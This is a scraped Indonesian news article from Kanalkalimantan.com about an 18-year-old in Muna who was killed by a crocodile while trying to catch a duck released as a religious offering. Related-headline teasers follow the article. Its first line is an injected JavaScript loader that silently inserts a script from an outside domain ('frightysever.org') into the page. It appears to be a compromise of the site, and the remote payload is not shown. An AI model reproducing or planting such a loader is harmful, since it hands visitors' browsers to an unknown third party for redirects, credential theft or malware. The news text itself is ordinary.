(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Seorang pemuda berusia 18 tahun diterkam buaya, gara-gara ingin menangkap anak itik di sungai.
Faisal ditemukan sudah tak bernya di lokasi tidak jauh saat diterkam buaya, Selasa (1/3/2022) sekitar pukul 06.15 Wita. Korban pertama kali ditemukan oleh La Ode Niati, nelayan setempat.
Dilansir Telisik.id — jaringan Suara.com, Faisal (18), pelajar asal Desa Labulu-bulu, Kecamatan Parigi, Kabupaten Muna, Sulsel, diterkam buaya di sungai dekat dermaga desa.
“Saat ditemukan, kondisi tubuh korban sudah tidak utuh. Kepala dan paha sebelah kanan sudah tidak ada,” kata Kapolres Muna, AKBP Mulkaifin melalui Kapolsek Parigi, Iptu Soti.
Baca juga : Rapat Bersama Komisi III DPRD Kapuas, Ini Harapan Kadis Kominfo
Jasad korban sudah dievakuasi dan dibawa ke rumahnya untuk dikebumikan. Orangtua korban histeris saat melihat anaknya ditemukan dengan kondisi sangat mengenaskan.
“Korban sudah di rumah duka,” ujarnya.
Faisal diterkam buaya saat hendak mengambil seekor bebek di sungai pada Senin (28/2/2022). Saat itu, korban bersama empat orang rekannya yakni Handoko, Disa, Dul dan La Ode Hadi. Korban melihat seekor bebek berenang di sekitar dermaga yang dilepas umat Hindu sebagai sesajen usai melaksanakan ibadah.
Korban meloncat ke sungai mencoba menangkap bebek itu. Sekitar tiga meter berenang, korban langsung diterkam buaya yang berukuran kurang lebih lima meter.
Rekan-rekan korban yang melihat kejadian itu, panik dan berusaha mencari pertolongan. Namun, korban sudah tidak terlihat.
Kronologis
Kapolres Muna, AKBP Mulkaifin melalui Kapolsek Parigi, IPTU La Soti mengatakan Kronologis kejadian bermula, saat korban bersama empat orang rekannya yakni, Handoko, Disa, Dul dan La Ode Hadi hendak ke dermaga.
Baca juga : Mengingat Kembali Serangan Umum 1 Maret 1949
Tiba di lokasi, korban melihat seekor bebek berenang di sekitar dermaga. Bebek dilepas warga Hindu sebagai sesajen usai melaksanakan ibadah. Korban lalu hendak menangkap bebek itu dengan cara meloncat di kali.
“Sekitar tiga meter berenang, korban langsung diterkam buaya yang berukuran kurang lebih lima meter,” ungkapnya. (Kanalkalimantan.com/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More
This website uses cookies.